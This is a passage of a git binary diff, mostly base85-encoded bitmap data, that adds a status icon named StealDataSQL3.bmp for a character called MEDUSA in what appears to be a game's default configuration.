zqxD(+WyuYh38QUIRRnytF9M@&jMKN!VG%XrluC3!Vzn%=o&m2eNDF{gClo}AdQ>?h zuV0cII;Id1pN5jkmGzz8_QB%hRO0!cztd6CU(GG?J*1D0N^NT2tf*O-KfYWdQdoih zmadNr$0TY7up=QhBh(675fKpub(Ofw8f;>VQZ>x>Mr8ZIYm;IoI@`JmQidv1hpJMC zYSIU5(g7@}idHffG2c@L%&|CYYaa`Xnf8LA+64vsVDA*2W zXqo08S(cLi&Zm_B@BK=BT#?D~fsw2aXlt5A%F33?s~1K$PL|F|D;MPDbMo>Tg?RZI zdhLqbJH3GS4xa9;0-hN9AaRJWVxT?*Z)=zDk4#6n4%GuwYxmmp=$qxKiI$?ls??eG zLRU>a;3vOCBrF?;K^cSntRb@<1;C}Lj`Hob`NiSBxuJpfqTF;ZXP}c{uw}53ttPWD zR8?!DHGiV58fNO!F}ApTO1d^VV0F^m!Nut6QTxC~N$E^_%5ZJtMqW`p>-SF*f}=_j zk|z2F{sJqdm;~&NUYV(Ai*pOM_rEGGp3lk{t7%;Bo!%W=KbhG%pW7$S?w(J+J{?{- z=p5Na*#%DYwC!%rkM{QS-(d(ecZ`5QYm%bVk%-2Ol*QqG>aEU>_GY>&fI*1{o7&1L z+sSB}3drdTh=;pCfpI)P&_Fz=?08-hFJ^i>%41`4eSONK!y>Gl;5sJaPq8(Z|1sQqK(bG&CTP{h-eRI zYXy}E7pH~3>a&wWYMtr6{%l`dRZM7EWZ2B$P*ZWaBpY9GW*+sbpCb|rODigz&q*K6 zNgvC}7|F>P%}yT!K#Pm#dM9=g2-$2mXk5)~5BDh@QdqBXsLg@nPgviTugongK7S#| z#F1ZA*E_abTDp*vHlC9*mXiwHXCyCU9I$3y)_7L>m?IjB3lp= zk?V(zg}UN&%~q#p-gZeMZ_f64o0|DqS@l~8~c)6`q(e>vM; zWG1PY;O()y{$X9yRZ;69r;WFFOGJ9VpkaUZpFcoQ(~Pb45<}44fSw zzgb(J>#a)<@X_EDMH+(adae98C2W(J1v*z+Ts?L8tMn7ix zIlsQYPHlR5aXHdE5a}JD%_}2xk4=z{U6d6h%El|s!7s$bE>6o0EbnmcsL7!*>i9U= z-3vwdb3J_OsAW`=kXjg-P@9ralMuEr+=H=!KL6^8wWOLMNQUF9M{#}uv)wJ#gs{rQ zgrexg+?WItDP_=o24LR z=?FbzbI>s>PEPNtD79D8HWyRQgki?2OFJ^s6QQ2^e9{PGi{9F*%;*F&c^v^-7Dpq? z#p(G!?+y5L89)IR`@q@&xE<*ezIyrdPCl8HVznPnYacqhp5Q+=>-&69b35D`Do)2M zNW;c?<8cJkr6eRU-V2_HL=*=H`j}cVeR)rqmQ#vJz|RFSKJa#Mzi&>x1#n79SCm&c zpycEH2OT~k_sOj9`=Z?Hqx8P~r{UdX>0>pO)vU#)Z9rBmb-J3apE zzl6VQ^!NGy8?#=I#j3)x?&c0a|Npw7`Lo9Pjafg^;Wq{a?)=}u3Q+#`p#M#*A366o s&Hi`z^*06l=w|=N`jIjI2W9`yum6Lb`4P(h`Sl}X{13|h@AB*a2kO~pcK`qY literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL3.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..474c3150ad0364f8a6df95ea22514c07dd0718ce GIT binary patch literal 18462 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 